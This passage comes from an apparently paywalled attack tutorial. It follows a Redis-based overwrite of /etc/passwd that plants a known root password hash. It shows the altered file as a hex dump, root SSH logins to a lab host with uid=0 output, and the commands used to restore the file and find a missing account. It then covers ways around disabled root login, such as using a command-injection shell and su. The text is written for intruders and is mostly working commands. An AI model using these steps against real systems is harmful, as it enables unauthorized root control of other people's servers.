0000120: 3a30 3a72 6f6f 743a 2f726f6f 743a 2f62 :0:root:/root:/b
0000130: 696e 2f62 6173 680a 73736864 3a78 3a31 in/bash.sshd:x:1
0000140: 3038 3a36 3535 3334 3a3a2f76 6172 2f72 08:65534::/var/r
0000150: 756e 2f73 7368 643a 2f757372 2f73 6269 un/sshd:/usr/sbi
0000160: 6e2f 6e6f 6c6f 6769 6e200a0a 0002 6161 n/nologin ….aa
0000170: 0166 0001 6102 6464 ffdb1772 3902 cde3 .f..a.dd…r9…
0000180: de .
The second field of the row where root is located has changed from the previous x to the hash corresponding to YourNewPasswd%1024. Try to log in to root with this password through SSH successfully:
$ ssh 192.168.56.101
root@192.168.56.101’s password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
Last login: Mon Aug 28 01:23:30 2017from 192.168.56.104
root@lamp ~$ id
uid=0(root) gid=0(root)groups=0(root)
As mentioned earlier, since redis can only write files in overwrite mode and cannot add files, this intrusion method will destroy the original content of /etc/passwd, so after successfully logging in to the system, be sure to restore /etc/passwd as soon as possible, otherwise, it will cause the administrator. Note that it will affect the normal operation of the business. First restore most of the contents from /etc/passwd-:
$ cp /etc/passwd- /etc/passwd
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
…
mongodb:x:112:65534::/home/mongodb:/bin/false
yang:x:1000:1000::/home/yang:/bin/sh
memcache:x:113:120:Memcached,,,:/nonexistent:/bin/false
Then find the missing account wawa from /etc/shadow:
$ cat /etc/passwd- | cut -d ‘:’ -f 1> a.txt && cat /etc/shadow | cut -d ‘:’ -f 1 > b.txt &&diff a.txt b.txt
34d33
> wawa
Manually append wawa to /etc/passwd:
wawa:x:1002:1002:,,,:/home/wawa:/bin/bash
The whole process is complete.
Now we have realized that the root password is reset to YourNewPasswd%1024. If you are lucky (the SSH service is enabled on the target, and root is allowed to log in directly), the short-term benefit of this is that you can log in to the machine through SSH to gain root access. For example, try to use root/ YourNewPasswd%1024 for SSH login successfully:
$ ssh root@192.168.56.101
root@192.168.56.101’s password:
Welcome to Lamp, TurnKey GNU/Linux14.1 / Debian 8.9 Jessie
…
Last login: Fri Sep 1 21:57:26 2017 from 192.168.56.104
root@lamp ~# id
uid=0(root) gid=0(root)groups=0(root)
If you are unlucky, you cannot log in even if the password is reset successfully:
# ssh 192.168.56.101
root@192.168.56.101’s password:
Permission denied, please try again.
There are many reasons for this result, and there are several common types: the administrator sets PermitRootLogin to no in /etc/ssh/sshd_config to prohibit root login directly, or the administrator in the root of the /etc/shadow file:!$6$ Add before the hash password field in rWDSG…Hsi1:15347:0:9999:7::: to lock the account. Or, the administrator defines a whitelist of source IPs that can access the machine in /etc/hosts.allow, etc. It doesn’t matter, we have the root password, combined with other vulnerabilities, there is a high probability of successful intrusion. For example, the web application of this machine has a command injection vulnerability. Based on this, the shell of the account apache running the web container can be obtained. Since we know the root password, You can use su root to gain root control; for example, the system only prohibits root login, but does not prohibit other accounts from logging in. As long as (through other loopholes) you have mastered the account names of the machine other than root, then reset root completely at the same time And other account passwords, first log in to other accounts and then use su root. The invasion is a combination of punches, spreading the mind, and there will eventually be a way.
[/wc_pay_can_read]
Reviews
There are no reviews yet.